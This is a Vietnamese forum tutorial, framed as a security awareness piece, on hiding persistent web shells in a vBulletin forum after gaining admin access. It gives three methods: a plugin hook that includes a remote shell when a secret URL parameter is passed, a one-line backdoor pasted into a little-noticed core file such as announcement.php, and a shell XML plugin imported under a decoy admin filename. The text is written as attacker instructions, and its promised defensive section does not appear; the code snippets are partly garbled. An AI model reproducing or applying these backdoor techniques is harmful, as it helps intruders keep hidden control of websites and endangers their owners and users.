Mình viết bài này để giúp tăng cường bảo mật cho forum của các bạn, cho các bạn thấy được cách thức mà hacker đột nhập vào trang web các bạn để từ đó có cách phòng tránh. Mình không khuyến khích các bạn làm theo để thực hiện ý đồ xấu.
Viết tut này cũng có mặt lợi và mặt hại của nó nhưng nếu các bạn biết áp dụng cho mục đích lương thiện thì nó sẽ giúp ích rất nhiều cho bạn
I/Phương diện hacker - upload shell
Bỏ qua phần làm thế nào hacker có shell trên host, mình chỉ nói đến việc hacker đã khai thác file config và hoàn toàn chiếm quyền admin của website bạn. Sau đây mình sẽ liệt kê một cách gần như đầy đủ các phương pháp mà hacker có thể chèn shell và ẩn nó trong forum của bạn để có thể dễ dàng trong những cuộc tấn công tiếp theo.
Method 1: tạm gọi là up shell qua việc edit teamplate 0
Bạn lần lượt làm như sau:
Vào admincp -->Plugin manager -->Add new plugin Ở phần HOOK Location bạn chọn là :
CACHE_TEMPLATE nhé,
Phần Name: có thể đặt tên tùy ý
Phần plugin php code hãy dùng đoạn code sau để include shell:
Code:
{
if($_GET['nameshell">=="heloworld"){
include'http:;
}
}
Copy Code
Nhớ kích vào nút đồng ý (yes) để active plugin này nhé .
Bây giờ cùng test nhé ở đây mình test trên localhost.
bạn thêm phần ?nameshell=helloworld vào sau:
index.php hoặc image.php, online.php hay bất cứ file php nào ở ngoài index của host, cái này tùy thuộc vào bạn
Ở đây mình thử với index.php nhé
[size=4">
Method 2: chèn shell bằng cách edit file .php có trong host[/size">
Bạn tìm những file mà admin ít để ý để chèn đoạn code sau vào nhé, có thể chèn vào bất cứ đâu mà bạn muốn.
Code:
if ($_REQUEST['nameshell">=="helloworld") { include "http:; }
Copy Code
Demo: mình edit file announcement.php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.7.2
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2007 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.c om | http://www.vbulletin.c om/license.html # ||
|| #################################################################### ||
\*======================================================================*/
if ($_REQUEST['nameshell'">=="helloworld") { include "http:; }
// ######################## SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);
// ##################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'announcement');
// #################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array(
'postbit',
'reputationlevel',
'posting',
Copy Code
Hưởng thụ thành quả lao động nào.
Method 3: là cách import file xml qua plugin
Bạn lần lượt làm như sau:
Plugins & Products --> Download / Upload Plugins --> chọn lấy con shell xml và import vào. (đính kèm ở bài viết)
Bạn có thể mở source file shell xml lên và thay subscriptions.php bằng repair.php hoặc faq.php (bất cứ file .php nào trong admincp mà bạn nghĩ admin site đó sẽ không chú ý đến). Bạn cũng có thể import vào nhiều file cho chắc ăn.
cách run shell cũng khá đơn giản là bạn import shell vào file nào thì run file đó thôi chẳn hạn tôi import shell vào file subscriptions.php tôi sẽ run shell như thế này admincp/subscriptions.php làm theo tương tự với những file khác
demo here:
...